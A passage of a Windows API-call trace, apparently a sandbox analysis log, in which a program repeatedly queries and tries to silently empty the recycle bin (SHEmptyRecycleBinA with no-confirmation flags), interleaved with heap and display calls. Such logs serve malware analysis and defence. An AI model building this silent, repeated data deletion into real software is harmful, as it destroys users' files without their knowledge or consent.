(penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] SetupDiGetClassDevsA (ClassGuid=0x18f8cc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), Enumerator=0x0, hwndParent=0x0, Flags=0x12) returned 0x7ccd50 [0028.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x4) returned 0x2021510 [0028.505] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0028.507] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.916] GetQueueStatus (flags=0x0) returned 0x0 [0029.916] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.926] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.926] GetDC (hWnd=0x0) returned 0x1010858 [0029.926] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.926] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.926] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.926] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.926] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x8) returned 0x2021728 [0029.926] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021510 | out: hHeap=0x2020000) returned 1 [0029.926] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.926] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.927] GetQueueStatus (flags=0x0) returned 0x0 [0029.927] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.927] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.927] GetDC (hWnd=0x0) returned 0x1010858 [0029.927] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.927] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.927] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.927] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.927] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021738 [0029.927] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021728 | out: hHeap=0x2020000) returned 1 [0029.927] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.927] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.928] GetQueueStatus (flags=0x0) returned 0x0 [0029.928] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.928] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.928] GetDC (hWnd=0x0) returned 0x1010858 [0029.928] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.928] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.928] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.928] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.928] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x10) returned 0x2021750 [0029.928] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0029.928] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.928] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.929] GetQueueStatus (flags=0x0) returned 0x0 [0029.929] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.930] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.930] GetDC (hWnd=0x0) returned 0x1010858 [0029.930] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.930] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.930] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.930] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.930] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x24704e0 [0029.930] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021750 | out: hHeap=0x2020000) returned 1 [0029.930] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.930] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.930] GetQueueStatus (flags=0x0) returned 0x0 [0029.930] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.931] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.931] GetDC (hWnd=0x0) returned 0x1010858 [0029.931] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.931] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.931] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.931] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.931] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.931] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.931] GetQueueStatus (flags=0x0) returned 0x0 [0029.931] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.932] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.932] GetDC (hWnd=0x0) returned 0x1010858 [0029.932] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.932] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.932] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.932] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.932] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x24) returned 0x202ef20 [0029.932] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x24704e0 | out: hHeap=0x2020000) returned 1 [0029.932] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.932] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.932] GetQueueStatus (flags=0x0) returned 0x0 [0029.932] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.933] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.933] GetDC (hWnd=0x0) returned 0x1010858 [0029.933] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.933] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.933] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.933] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.933] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.933] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.933] GetQueueStatus (flags=0x0) returned 0x0 [0029.933] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.934] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.934] GetDC (hWnd=0x0) returned 0x1010858 [0029.934] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.934] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.934] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.934] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.934] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.934] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.934] GetQueueStatus (flags=0x0) returned 0x0 [0029.934] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.935] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.935] GetDC (hWnd=0x0) returned 0x1010858 [0029.935] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.935] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.935] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.935] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.935] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x34) returned 0x2021728 [0029.935] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202ef20 | out: hHeap=0x2020000) returned 1 [0029.935] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.935] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.935] GetQueueStatus (flags=0x0) returned 0x0 [0029.935] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.936] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.936] GetDC (hWnd=0x0) returned 0x1010858 [0029.936] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.936] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.936] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.936] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.936] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.936] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.936] GetQueueStatus (flags=0x0) returned 0x0 [0029.936] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.937] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.937] GetDC (hWnd=0x0) returned 0x1010858 [0029.937] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.937] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.937] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.937] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.937] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.937] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.937] GetQueueStatus (flags=0x0) returned 0x0 [0029.937] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.938] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.938] GetDC (hWnd=0x0) returned 0x1010858 [0029.938] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.938] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.938] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.938] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.938] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.938] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.938] GetQueueStatus (flags=0x0) returned 0x0 [0029.938] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.939] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.939] GetDC (hWnd=0x0) returned 0x1010858 [0029.939] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.939] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.939] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.939] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.939] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x4c) returned 0x20211f8 [0029.939] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021728 | out: hHeap=0x2020000) returned 1 [0029.939] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.939] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.939] GetQueueStatus (flags=0x0) returned 0x0 [0029.939] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.940] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.940] GetDC (hWnd=0x0) returned 0x1010858 [0029.940] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.940] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.940] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.940] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.940] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.940] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.940] GetQueueStatus (flags=0x0) returned 0x0 [0029.940] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.941] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.941] GetDC (hWnd=0x0) returned 0x1010858 [0029.941] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.941] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.941] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.941] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.941] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.941] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.941] GetQueueStatus (flags=0x0) returned 0x0 [0029.942] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.942] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.942] GetDC (hWnd=0x0) returned 0x1010858 [0029.942] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.942] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.942] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.942] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.942] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.942] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.942] GetQueueStatus (flags=0x0) returned 0x0 [0029.942] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.943] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.943] GetDC (hWnd=0x0) returned 0x1010858 [0029.943] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.943] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.943] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.943] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.943] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.943] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.944] GetQueueStatus (flags=0x0) returned 0x0 [0029.944] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.944] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.944] GetDC (hWnd=0x0) returned 0x1010858 [0029.944] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.945] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.945] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.945] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.945] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.945] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.945] GetQueueStatus (flags=0x0) returned 0x0 [0029.945] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.945] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.945] GetDC (hWnd=0x0) returned 0x1010858 [0029.945] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.945] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.945] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.946] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.946] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x70) returned 0x2021448 [0029.946] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x20211f8 | out: hHeap=0x2020000) returned 1 [0029.946] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.946] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.946] GetQueueStatus (flags=0x0) returned 0x0 [0029.946] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.946] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.946] GetDC (hWnd=0x0) returned 0x1010858 [0029.946] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.946] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.947] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.947] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.947] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.947] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.947] GetQueueStatus (flags=0x0) returned 0x0 [0029.947] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.947] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.947] GetDC (hWnd=0x0) returned 0x1010858 [0029.947] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.947] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.947] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.947] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.948] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.948] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.948] GetQueueStatus (flags=0x0) returned 0x0 [0029.948] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.948] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.948] GetDC (hWnd=0x0) returned 0x1010858 [0029.951] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.951] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.951] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.951] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.951] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.951] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.951] GetQueueStatus (flags=0x0) returned 0x0 [0029.951] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.952] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.952] GetDC (hWnd=0x0) returned 0x1010858 [0029.952] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.952] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.952] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.952] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.952] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.952] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.952] GetQueueStatus (flags=0x0) returned 0x0 [0029.952] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.953] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.953] GetDC (hWnd=0x0) returned 0x1010858 [0029.953] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.953] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.953] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.953] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.953] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.953] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.953] GetQueueStatus (flags=0x0) returned 0x0 [0029.953] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.953] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.954] GetDC (hWnd=0x0) returned 0x1010858 [0029.954] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.954] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.954] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.954] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.954] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.954] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.954] GetQueueStatus (flags=0x0) returned 0x0 [0029.954] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.954] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.954] GetDC (hWnd=0x0) returned 0x1010858 [0029.955] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.955] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.955] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.955] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.955] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.955] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.955] GetQueueStatus (flags=0x0) returned 0x0 [0029.955] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.955] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.955] GetDC (hWnd=0x0) returned 0x1010858 [0029.955] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.956] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.956] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.956] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.956] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.956] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.956] GetQueueStatus (flags=0x0) returned 0x0 [0029.956] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.957] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.957] GetDC (hWnd=0x0) returned 0x1010858 [0029.957] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.957] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.957] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.957] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.957] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xa8) returned 0x202fcb8 [0029.957] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021448 | out: hHeap=0x2020000) returned 1 [0029.957] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.957] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.957] GetQueueStatus (flags=0x0) returned 0x0 [0029.957] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.958] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.958] GetDC (hWnd=0x0) returned 0x1010858 [0029.958] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.958] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.958] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.958] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.958] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.958] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.958] GetQueueStatus (flags=0x0) returned 0x0 [0029.958] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.959] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.959] GetDC (hWnd=0x0) returned 0x1010858 [0029.959] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.959] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.959] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.959] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.959] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.959] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.959] GetQueueStatus (flags=0x0) returned 0x0 [0029.959] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.960] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.960] GetDC (hWnd=0x0) returned 0x1010858 [0029.960] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.960] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.960] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.960] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.960] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.960] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.960] GetQueueStatus (flags=0x0) returned 0x0 